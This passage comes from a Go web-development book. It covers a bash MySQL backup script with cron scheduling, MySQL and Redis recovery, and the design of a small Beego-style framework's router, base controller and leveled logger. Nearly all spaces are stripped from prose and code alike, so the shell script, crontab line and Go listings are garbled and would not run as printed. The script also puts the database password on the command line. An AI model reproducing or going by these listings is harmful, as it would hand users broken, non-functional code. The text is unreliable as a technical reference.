#!/bin/bash#Configurationinformation;modifyitasneededmysql_user="USER"#MySQLbackupusermysql_password="PASSWORD"#MySQLbackupuser'spasswordmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLencodingbackup_db_arr=("db1""db2")#Nameofthedatabasetobebackedup,separatingmultipledatabaseswihspaces("DB1","DB2"db3")backup_location=/var/www/mysql#Backupdatastoragelocation;pleasedonotendwitha"/"andleaveitatitsdefault,fortheprogramtoautomaticallycreateafolderexpire_backup_delete="ON"#Whethertodeleteoutdatedbackupsornotexpire_days=3#Settheexpirationtimeofbackups,indays(defaultstothreedays);thisisonlyvalidwhenthe`expire_backup_delete`optionis"ON"

#Wedonotneedtomodifythefollowinginitialsettingsbelowbackup_time=`date+%Y%m%d%H%M`#Definethebackuptimeformatbackup_Ymd=`date+%Y-%m-%d`#Definethebackupdirectorydatetimebackup_3ago=`date-d'3daysago'+%Y-%m-%d`#3daysbeforethedate

backup_dir=$backup_location/$backup_Ymd#Fullpathtothebackupfolderwelcome_msg="WelcometouseMySQLbackuptools!"#Greeting

#DeterminewhethertoMySQLisrunning;ifnot,thenabortthebackupmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];thenecho"ERROR:MySQLisnotrunning!backupaborted!"exitelseecho$welcome_msgfi

#Connecttothemysqldatabase;ifaconnectioncannotbemade,abortthebackupmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';exit

end

flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupaborted!"exitelseecho"MySQLconnectok!Pleasewait......"#Determinewhetherabackupdatabaseisdefinedornot.Ifso,beginthebackup;ifnot,thenabortif["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname-default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessfullybackedupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackuphasfailed!"fi

doneelseecho"ERROR:Nodatabasetobackup!backupaborted!"exitfi#Ifdeletingexpiredbackupsisenabled,deleteallexpiredbackupsif["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then

#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabaseshavebeensuccessfullybackedup!Thankyou!"exitfi

Modifythepropertiesoftheshellscriptlikeso:

chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh

Thenaddthecrontabcommand:

0000***/root/mysql_backup.sh

Thissetsupregularbackupsofyourdatabasestothe/var/www/mysqldirectoryeverydayat00:00,whichcanthenbesynchronizedusingrsync.

MySQLRecovery

We'vejustdescribedsomecommonlyusedbackuptechniquesforMySQL,namelyhotbackupsandcoldbackups.Torecap,themaingoalofahotbackupistobeabletorecoverdatainreal-timeafteranapplicationhasfailedinsomeway,suchasinthecaseofaserverhard-diskmalfunction.Welearnedthatthistypeofschemecanbeimplementedbymodifyingdatabaseconfigurationfilessothatdatabasesarereplicatedontoaslave,minimizinginterruptiontoservices.

ButsometimesweneedtoperformacoldbackupoftheSQLdatarecovery,aswithdatabasebackup,youcanimportthroughthecommand:Hotbackupsare,however,sometimesinadequate.Therearecertainsituationswherecoldbackupsarerequiredtoperformdatarecovery,evenifit'sonlyapartialone.Whenyouhaveacoldbackupofyourdatabase,youcanusethefollowingMySQLcommandtoimportit:

mysql-uusername-pdatabse<backup.sql

Asyoucansee,importingandexportingdatabaseisafairlysimplematter.Ifyouneedtomanageadministrativeprivilegesordealwithdifferentcharactersets,thisprocessmaybecomealittlemorecomplicated,thoughthereareanumberofcommandswhichwillhelpyoutodothis.

Redisbackup

RedisisoneofthemostpopularNoSQLdatabases,andbothhotandcoldbackuptechniquescanalsobeusedinsystemswhichuseit.LikeMySQL,Redisalsosupportsmaster/slavemode,whichisidealforimplementinghotbackups(refertoRedis'officialdocumentationtolearnlearnhowtoconfigurethis;theprocessisverystraightforward).Asforcoldbackups,Redisroutinelysavescacheddatainmemorytothedatabasefileon-disk.Wecansimplyusethersyncbackupmethoddescribedabovetosynchronizeitwithanon-localmachine.

Redisrecovery

Similarly,Redisrecoverycanbedividedintohotandcoldbackuprecovery.ThemethodsandobjectivesofrecoveringdatafromahotbackupofaRedisdatabasearethesameasthosementionedaboveforMySQL,aslongastheRedisapplicationisusingtheappropriatedatabaseconnection.

ARediscoldbackuprecoverysimplyinvolvescopyingbacked-updatabasefilesintotheworkingdirectory,thenstartingRedisonit.Thedatabasefilesareautomaticallyloadedintomemoryatboottime;thespeedwithwhichRedisbootswilldependonthesizeofthedatabasefiles.

Summary

Inthissection,welookedatsometechniquesforbackingupdataaswellasrecoveringfromdisasterswhichmayoccurafterdeployingourapplications.Wealsointroducedrsync,atoolwhichcanbeusedtosynchronizefilesondifferentsystems.Usingrsync,wecaneasilyperformbackupandrestoration

proceduresforbothMySQLandRedisdatabases,amongothers.Wehopethatbybeingintroducedtosomeoftheseconcepts,youwillbeabletodevelopdisasterrecoveryprocedurestobetterprotectthedatainyourwebapplications.

Links

DirectoryPrevioussection:DeploymentNextsection:Summary

12.5SummaryInthischapter,wediscussedhowtodeployandmaintainourGowebapplications.Wealsolookedatsomecloselyrelatedtopicswhichcanhelpustokeepthemrunningsmoothly,withminimalmaintenance.

Specifically,welookedat:

Creatingarobustloggingsystemcapableofrecordingerrors,andnotifyingsystemadministratorsHandlingruntimeerrorsthatmayoccur,includingloggingthem,andhowtorelaythisinformationinauser-friendlymannerthatthereisaproblemHandling404errorsandnotifyingusersthattherequestedpagecannotbefoundDeployingapplicationstoaproductionenvironment(includinghowtodeployupdates)HowtodeployhighlyavailableapplicationsBackingupandrestoringfilesanddatabases

Afterreadingthecontentsofthischapter,thosethinkingaboutdevelopingawebapplicationfromscratchshouldalreadyhavethefullpictureonhowto

doso;thischapterprovidedanintroductiononhowtomanagedeploymentenvironments,whilepreviouschaptershavefocusedonthedevelopmentofcode.

Links

DirectoryPrevioussection:BackupandrecoveryNextchapter:Buildingawebframework

13BuildingawebframeworkThePrecedingtwelvechaptersdescribehowtodevelopwebapplicationsinGo,introducingalotofbasicknowledge,developmenttoolsandtechniques.Inthischapter,wewillbeusingthisknowledgetoimplementasimplewebframework.Thefirstsectionofthischapterwilltakeyouthroughtheplanninganddesignstageofbuildingawebframework.We'lllookatleveragingtheMVCpatternaswellasdesigningprogramexecutionflow,amongotherthings.Thesecondsectionwilldescribethefirstfeatureofourframework:Routing;namely,howtomapURLstoprocessinglogic.Theninthethirdsection,wedescribetheprocessinglogicitself,whichinvolvesdesigninggenericcontrollers,andhowtohandlerequestsandreturnresponsesafterinheritingfromanobjecthandler.Next,wedescribesomeoftheauxiliaryfunctionalitycommontomostwebframeworks,suchaslogprocessing,informationconfiguration,etc.Finally,we'llimplementasimplebloggingsystemontopofourframeworkwhichwilldemonstratetheapplicationlogicnecessaryforpublishing,modifying,deleting,anddisplayinglistsofblogposts.

Byseeingfirst-handhowtoimplementsuchacompleteprojectfromscratch,youwillhopefullyhaveabetterunderstandingoftheinnerworkingsofGowebapplications.You'llbecomfortablebuildingyourownprojectdirectorystructures,implementingURLroutersandutilizingMVC,amongotheraspectsofwebdevelopment.Amongtheframeworksprevalenttoday,MVC

isnolongeramyth.It'snotuncommontohearprogrammersarguingaboutwhichframeworksaregoodandwhicharebad,whichisoftentooshallowofanapproach.Frameworksareonlytools,andsometoolsaremoresuitableforcertainapplicationsthanothers.Therearenouniversallygoodorbadtools.Thus,byteachingyourselfhowtowriteaframeworkfromscratch,youwillbeabletotailor-maketheperfecttooltobestrealizeyourideas!

Links

DirectoryPreviouschapter:Chapter12summaryNextsection:Projectprogram

13.1ProjectplanningAnythingyouintendtodowellmustfirstbeplannedwell.Inourcase,ourintentionistodevelopabloggingsystem,sothefirststepweshouldtakeistodesigntheflowoftheapplicationinitsentirety.Whenwehaveaclearunderstandingoftheourapplication'sprocessofexecution,thesubsequentdesignandcodingstepsbecomemucheasier.

GOPATHandprojectsettings

Let'sproceedbyassumingthatourGOPATHpointstoafolderwithwithanordinarydirectoryname(ifnot,wecaneasilysetupasuitabledirectoryandsetitspathastheGOPATH).Aswe'vedescribeearlier,aGOPATHcancontainmorethanonedirectory:inWindows,wecansetthisasanenvironmentvariable;inlinux/OSXsystems,GOPATHcanbesetusingexport,i.e:exportgopath=/path/to/your/directory,aslongasthedirectorywhichGOPATHpointstocontainsthethreesub-directories:pkg,binandsrc.Below,we'veplacedthesourcecodeofournewprojectinthesrcdirectorywiththetentativenamebeelog.HerearesomescreenshotsoftheWindowsenvironmentvariablesaswellasofthedirectorystructure.

Figure13.1SettingtheGOPATHenvironmentvariable

Figure13.2Theworkingdirectoryunder$gopath/src

Applicationflowchart

Ourbloggingsystemwillbebasedonthemodel-view-controllerdesignpattern.MVCistheseparationoftheapplicationlogicfromthepresentation

layer.Inpractice,whenwekeepthepresentationlayerseparated,wecandrasticallyreducetheamountofcodeneededonourwebpages.

Modelsrepresentdataaswellastherulesandlogicgoverningit.InGeneral,amodelclasswillcontainfunctionsforremoving,insertingandupdatingdatabaseinformation.Viewsarearepresentationofthestateofamodel.Aviewisusuallyapage,butinGo,aviewcanalsobeafragmentofapage,suchasaheaderorfooter.ItcanalsobeanRSSfeed,oranyothertypeof"page".Go'stemplatepackageprovidesverygoodsupportforviewlayerfunctionality.ControllersarethegluelogicbetweenthemodelandviewlayersandencompassesalltheintermediarylogicnecessaryforhandlingHTTPrequestsandgeneratingWebpages.

Thefollowingfigureisanoverviewoftheprojectframeworkanddemonstrateshowdatawillflowthroughthesystem:

Figure13.3frameworkdataflow

1. Main.goistheapplication'sentrypointandinitializessomebasicresourcesrequiredtoruntheblogsuchasconfigurationinformation,listeningports,etc.

2. RoutingchecksallincomingHTTPrequestsand,accordingtothemethod,URLandparameters,matchesitwiththecorrespondingcontrolleraction.

3. Iftherequestedresourcehasalreadybeencached,theapplicationwillbypasstheusualexecutionprocessandreturnaresponsedirectlytotheuser'sbrowser.

4. Securitydetection:TheapplicationwillfilterincomingHTTPrequestsandanyotherusersubmitteddatabeforehandingitofftothecontroller.

5. Controllerloadsmodels,corelibraries,andanyotherresourcesrequiredtoprocessspecificrequests.Thecontrollerisprimarilyresponsibleforhandlingbusinesslogic.

6. Outputtherenderedviewtobesenttotheclient'swebbrowser.Ifcachinghasbeenenabled,thefirstviewiscachedforfuturerequeststothesameresource.

Directorystructure

Accordingtotheframeworkflowwe'vedesignedabove,ourblogproject'sdirectorystructureshouldlooksomethinglikethefollowing:

|——main.goimportdocuments|——confconfigurationfilesandprocessingmodule|——controllerscontrollerentry|——modelsdatabaseprocessingmodule|——utilsusefulfunctionlibrary|——staticstaticfiledirectory|——viewsviewgallery

Frameworkdesign

Inordertoquicklybuildourblog,weneedtodevelopaminimalframeworkbasedontheapplicationwe'vedesignedabove.Theframeworkshouldincluderoutingcapabilities,supportforRESTfulcontrollers,automatedtemplaterendering,aloggingsystem,configurationmanagement,andmore.

Summary

Thissectiondescribestheinitialdesignofourbloggingsystem,fromsettingupourGOPATHtobrieflyintroducingtheMVCpattern.Wealsolookedattheflowofdataandtheexecutionsequenceofourbloggingsystem.Finally,wedesignedthestructureofourprojectdirectory.Atthispoint,we'vebasicallycompletedthegroundworkrequiredforassemblingourframework.Inthenextfewsections,wewillimplementeachofthecomponentswe'vediscussed,onebyone.

Links

DirectoryPrevioussection:BuildingawebframeworkNextsection:Customizingrouters

13.2Customizingrouters

HTTProuting

TheHTTProutingcomponentisresponsibleformappingHTTPrequeststoacorrespondingfunctionorstructmethod.Theroutertakestwokeypiecesofinformationfromincomingrequests:

-Theuserrequestedpath(forexample,/user/123,/article/123),andanyquerystringsorparametersthatcomewithit(forexample,?id=11)-TheHTTPrequestmethod(GET,POST,PUT,andDELETE,PATCH,etc.)

Therouterthenforwardstherequesttothehandlerfunction(controllerlayer)thathasbeenregisteredwiththatparticularHTTPmethodandpath.

Defaultroutingimplementation

Insection3.4,weintroducedGo'shttppackageindetail,whichincludedhowtodesignandimplementrouting.Here,wetakeanotherlookatanexamplethatillustratestheroutingprocess:

funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}

http.Handle("/foo",fooHandler)

http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})

log.Fatal(http.ListenAndServe(":8080",nil))

Theexampleabovecallshttp'sdefaultmuxcalledDefaultServeMux,implicitlyspecifiedbythenilparameterinthecalltohttp.ListenAndServe.Thehttp.Handlefunctiontakestwoparameters:thefirstparameteristheresourceyouwantuserstoaccess,specifiedbyitsURLpath(whichisstoredinr.URL.Path)andthesecondargumentbindsahandlerfunctionwiththispath.TheRouterhastwomainjobs:

ToaddandstoreroutinginformationToforwardrequeststoahandlerfunctionforprocessing

Bydefault,Goroutesarehandledwithhttp.Handleandhttp.HandleFunctypes,registeredbydefaultthroughtheunderlyingDefaultServeMux.Handle(patternstring,handlerHandler)function.Thisfunctionmapsresourcepathstohandlersandstorestheminamap[string]muxEntrymap.Thisisthefirstjobthatwementionedabove.

Whentheapplicationisrunning,theGoserverlistenstoaport.Whenitreceivesatcpconnection,itusesaHandlertoprocessit.Asaforementioned,sincetheHandlerintheexampleaboveisnil,thedefaultrouterhttp.DefaultServeMuxisused.Usingthemapofpreviouslystoredroutes,DefaultServeMux.ServeHTTPwilldispatchtherequesttothe

firsthandlerwithamatchingpath.Thisistherouter'ssecondjob.

fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)h=v.h}}

RoutingwithBeego

Atpresent,mostGowebapplicationsbasetheirroutingonhttp'sdefaultrouter,howeverthishasseverallimitations:

Doesnotsupportdynamicrouteswithparameters,suchasthe/user/:UID

DoesnothavegoodsupportforREST.Theaccessmethodscannotberestricted;forinstanceintheaboveexample,whenusersaccess/foo,theycanusetheGET,POST,DELETE,andHEADHTTPmethods,amongothers.Inlargeapps,routingrulescanbecomerepetitiveandcumbersome.Personally,I'vedevelopedsimplewebAPIscomposedofnearlythirtyroutingruleswheninfact,theserulescouldhavebeenfurthersimplifiedusingmethodstructs.

TheBeegoframework'srouterisdesignedtoovercometheselimitations,takingtheRESTparadigmintoconsiderationandsimplifyingthestoringandforwardingofroutesandrequests.

Storingroutes

Toaddressthefirstlimitationofthedefaultrouter,weneedtobeabletosupportdynamicURLparameters.Forthesecondandthirdpoints,weadopt

analternativeapproach,mappingRESTmethodstostructmethodsandroutingrequeststothisstructinsteadhandlerfunctions.Thisway,aforwardedrequestcanbehandledaccordingtotheirHTTPmethod.

Basedontheaboveideas,we'vedesignedtwodatatypes:controllerInfo,whichsavesthepathandthecorrespondingcontrollerTypestructasareflect.Typetype,andControllerRegistor,whichsavesroutinginformationforthespecifiedBeegoapplication.

typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}

typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}

ControllerRegistor'sexternalinterfacecontainsthefollowingmethod:

func(p*ControllerRegistor)Add(patternstring,cControllerInterface)

Itsdetailedimplementationisasfollows:

func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")

j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"

//ausermaychoosetooverridethedefaultexpression

//similartoexpressjs:‘/user/:id([0-9]+)’

ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}

//recreatetheurlpattern,withparametersreplaced//byregularexpressions.Thencompiletheregex.

pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{

//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}

//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t

p.routers=append(p.routers,route)

}

Staticrouting

We'veimplementeddynamicroutinginourexampleabove.Bydefault,Go'shttppackagesupportsservingstaticfileswithhttp.FileServer,whichreturnaHandler.Sincewehaveimplementedacustomrouter,wewillalsoneedawayofhandlingstaticfiles.Beego'sstaticfolderpathissavedinaglobalvariablecalledStaticDir,whichmapsURLtocorrespondingpaths.

TheSetStaticPath'simplementationcanbeseenbelow:

func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}

Theapplication'sstaticroutescanbesetlikeso:

beego.SetStaticPath("/img","/static/img")

Forwardingroutes

WecanforwardroutesbasedontheforwardinginformationcontainedwithinControllerRegistor.Thedetailedimplementationcanbeseeninthefollowingcodesnippet:

//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}}}()varstartedbool

forprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path

//findamatchingRoutefor_,route:=rangep.routers{

//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}

//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)

//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}

params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match}

//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}

in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")method.Call(in)started=truebreak}

//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}

Gettingstarted

Usingourrouterdesign,wecansolvethethreelimitationsmentionedearlier.Thethreemainuse-casesare:

Registeringroutehandlers:

beego.BeeApp.RegisterController("/",&controllers.MainController{})

Handlingdynamicparameters:

beego.BeeApp.RegisterController("/:param",&controllers.UserController{})

Regexmatching:

beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})

Links

DirectoryPrevioussection:ProjectplanningNextsection:Designingcontrollers

13.3DesigningcontrollersMosttraditionalMVCframeworksarebasedonsuffixactionmapping.Nowadays,theRESTstylewebarchitectureisbecomingincreasinglypopular.OnecanimplementREST-styleURLsbyfilteringorrewritingthem,butwhynotjustdesignanewREST-styleMVCframeworkinstead?Thissectionis

basedonthisidea,andfocussesondesigningandimplementingacontrollerbased,REST-styleMVCframeworkfromscratch.Ourgoalistosimplifythedevelopmentofwebapplications,perhapsevenallowingustowriteasinglelineofcodecapableofserving"Hello,world".

Thecontroller'srole

TheMVCdesignpatterniscurrentlythemostusedframeworkmodelforwebapplications.BykeepingModels,ViewsandControllersseparated,wecankeepourwebapplicationsmodular,maintainable,testableandextensible.Amodelencapsulatesdataandanyofthebusinesslogicthatgovernsthatdata,suchasaccessibilityrules,persistence,validation,etc.Viewsserveasthedata'srepresentationandinthecaseofwebapplications,theyusuallyliveastemplateswhicharethenrenderedintoHTMLandserved.Controllersserveasthe"glue"logicbetweenModelsandViewsandtypicallyhavemethodsforhandlingdifferentURLs.Asdescribedintheprevioussection,whenaURLrequestisforwardedtoacontrollerbytherouter,thecontrollerdelegatescommandstotheModeltoperformsomeaction,thennotifiestheViewofanychanges.Incertaincases,thereisnoneedformodelstoperformanykindoflogicalordataprocessing,orforanyviewstoberendered.Forinstance,inthecaseofanHTTP302redirect,noviewneedstoberenderedandnoprocessingneedstobeperformedbytheModel,howevertheController'sjobisstillessential.

RESTfuldesigninBeego

TheprevioussectiondescribesregisteringroutehandlerswithRESTfulstructs.Now,weneedtodesignthebaseclassforalogiccontrollerthatwillbecomposedoftwoparts:astructandinterfacetype.

typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestring

TplNamesstringLayout[]stringTplExtstring}

typeControllerInterfaceinterface{Init(ct*Context,cnstring)//InitializethecontextandsubclassnamePrepare()//someprocessingbeforeexecutionbeginsGet()//method=GETprocessingPost()//method=POSTprocessingDelete()//method=DELETEprocessingPut()//method=PUThandlingHead()//method=HEADprocessingPatch()//method=PATCHtreatmentOptions()//method=OPTIONSprocessingFinish()//executedaftercompletionoftreatmentRender()error//methodexecutedafterthecorrespondingmethodtorenderthepage}

Thenaddtheroutehandlingfunctiondescribedearlierinthischapter.WhenarouteisdefinedtobeaControllerInterfacetype,solongaswecanimplementthisinterface,wecanhaveaccesstothefollowingmethodsofourbaseclasscontroller.

func(c*Controller)Init(ct*Context,cnstring){c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}

func(c*Controller)Prepare(){

}

func(c*Controller)Finish(){

}

func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Render()error{iflen(c.Layout)>0{varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}

}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}

func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}

Above,thecontrollerbaseclassalreadyimplementsthefunctionsdefinedintheinterface.Throughourroutingrules,therequestwillberoutedtotheappropriatecontrollerwhichwillinturnexecutethefollowingmethods:

Init()initializationroutinePrepare()pre-initializationroutine;eachinherittingsubclassmayimplementthisfunctionmethod()dependingontherequestmethod,performdifferentfunctions:GET,POST,PUT,HEAD,etc.Subclassesshouldimplementthesefunctions;ifnotimplemented,thenthedefaultis403Render()optionalmethod.Determinewhetherornottoexecuteaccordingtotheglobalvariable"AutoRender"Finish()isexecutedaftertheactionbeencompleted.Eachinherittingsubclassmayimplementthisfunction

Applicationguide

Above,we'vejustfinisheddiscussingBeego'simplementationofthebase

controllerclass.Wecannowusethisinformationtodesignourrequesthandling,inheritingfromthebaseclassandimplementingthenecessarymethodsinourowncontroller.

packagecontrollers

import("github.com/astaxie/beego")

typeMainControllerstruct{beego.Controller}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

Inthecodeabove,we'veimplementedasubclassofControllercalledMainControllerwhichonlyimplementstheGet()method.IfausertriestoaccesstheresourceusinganyoftheotherHTTPmethods(POST,HEAD,etc),a403Forbiddenwillbereturned.However,ifausersubmitsaGETrequesttotheresourceandwehavehavetheAutoRendervariablesettotrue,theresource'scontrollerwillautomaticallycallitsRender()function,renderingthecorrespondingtemplateandrespondingwiththefollowing:

Theindex.tplcodecanbeseenbelow;asyoucansee,parsingmodeldataintoatemplateisquitesimple:

<!DOCTYPEhtml><html><head><title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>

Links

DirectoryPrevioussection:CustomizingroutersNextsection:Logsandconfigurations

13.4Loggingandconfiguration

Theimportanceofloggingandconfiguration

Previouslyinthebook,wesawthateventloggingplaysaveryimportantroleinapplicationdevelopment.Withadequatelogging,wecanrecordcrucialinformationthatcanlaterbedissectedfordebuggingandoptimizationpurposes.Inthesectionwherewelookedattheseelogloggingutility,wesawthatithadsettingsforvariousloglevelgradations,whichcanbeessentialforprogramdevelopmentanddeployment;wecansetthelogginglevellowerinadevelopmentenvironment,whilesettingithighinproductionsothatwecanmaskextraneousinformationwhenwearetryingtodebugourapplication.

Settingupserverconfigurationmodulefordeployinganapplicationinvolvesanumberofdifferentserversettings.Forexample,wetypicallyneedtoprovideinformationregardingdatabaseconfiguration,listeningports,etc.,

viatheconfigurationfile.Settingupacentralizedconfigurationfileallowsustheflexibilityofdeployingondifferentmachinesandconnectingtoremotedatabases,ifneeded.

TheBeegologgingsystem

TheBeegologger'sdesignborrowsideasfromseelogprovidessimilarfunctionalityintermsofsettinglogginglevels.Beego'ssystemis,however,morelightweightandmakesuseoftheGo'slog.Loggerinterface.Bydefault,logsareoutputtedtoos.Stdout,butuserscanimplementthisinterfacethroughbeego.SetLoggertocustomizethis.Adetailedexampleofanimplementedinterfacecanbeseenbelow:

//Loglevelsforcontrollingtheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical)

//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace

//LogLevelreturnsthegloballoglevelandcanbeusedin//acustomimplementationsoftheloggerinterface.funcLevel()int{returnlevel}

//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}

Thissectionimplementstheaboveloggradingsystem.Thedefaultlevelis

settoTraceanduserscancustomizegradinglevelsusingSetLevel.

//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)

//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}

//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}

//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}

//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{BeeLogger.Printf("[I]%v\n",v)}}

//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}

//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}

//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}

ThecodesnippetaboveinitializesaBeeLoggerobjectbydefault,outputtinglogstoos.Stdout.Asmentioned,userscanimplementbeego.SetLoggertocustomizethelogger'soutput.BeeLoggerimplementssixfunctions:

Trace(recordgeneralinformation,forexample:)"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"

Debug(debugginginformation,forexample:)"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"

Info(printinggeneralinformation,forexample:)"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"

Warn(warningmessages,forexample:)"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"

Error(errormessages,forexample:)"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"

Critical(fatalerrors,forexample:)"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionor

loss"

Youcanseethateachoftheselevelshasaspecificpurpose.ForinstanceifwesettheloggingleveltoWarn(level=LevelWarning),atthetimeofdeployment,allofthelowerlevellogs(Trace,Debug,Info)willnotoutputanything.

Beegoconfigurationdesign
